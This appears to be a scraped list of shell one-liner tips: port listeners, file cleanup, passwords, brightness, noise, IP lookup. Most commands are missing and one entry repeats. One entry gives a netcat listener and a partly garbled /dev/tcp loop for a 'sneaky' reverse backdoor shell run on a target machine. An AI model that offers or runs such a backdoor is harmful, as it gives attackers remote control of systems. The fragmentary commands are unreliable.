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Which processes are listening on a specific port (e.g. port 80)
swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

Remove all zero size files from current directory (not recursive)

Write comments to your history.
A null operation with the name 'comment', allowing comments to be written to HISTFILE. Prepending '#' to a command will *not* write the command to the history file, although it will be available for the current session, thus '#' is not useful for keeping track of comments past the current session.

Set laptop display brightness
Run as root. Path may vary depending on laptop model and video card (this was tested on an Acer laptop with ATI HD3200 video). $ cat /proc/acpi/video/VGA/LCD/brightness to discover the possible values for your display.

generate random password (works on Mac OS X)
Prepending env LC_CTYPE=C fixes a problem with bad bytes in /dev/urandom on Mac OS X

Reverse Backdoor Command Shell using Netcat
This is sneaky. First, start a listening service on your box. $ nc -l 8080 -vvv & On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor. $ exec 5/dev/tcp//8080;cat &5 >&5; done You can send it to the background like this: $ (exec 5/dev/tcp//8080;cat &5 >&5;) & Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.

Generate soothing noise
Substitute 'brown' with 'pink' or 'white' according to your taste. I put this on my headphones when I'm working in an "open concept" office, where there are always three to five conversations going in earshot, or if I'm working somewhere it is "rude" of me to tell a person to turn off their cubicle radio.

Grab IP address on machine with multiple interfaces
Instead of hard-coding in a check to scrape info from ifconfig based on a specific interface, do it in a more portable way. This works really well if you switch between wired, wireless, bluetooth or even VPN connections. You can get your current IP in a script (since it'll be something like tun0 instead of eth0 or wlan1). This uses a well known public ip address 8.8.8.8, but it doesn't actually connect to it, it just shows you the route it would take.

Which processes are listening on a specific port (e.g. port 80)
swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

geoip lookup


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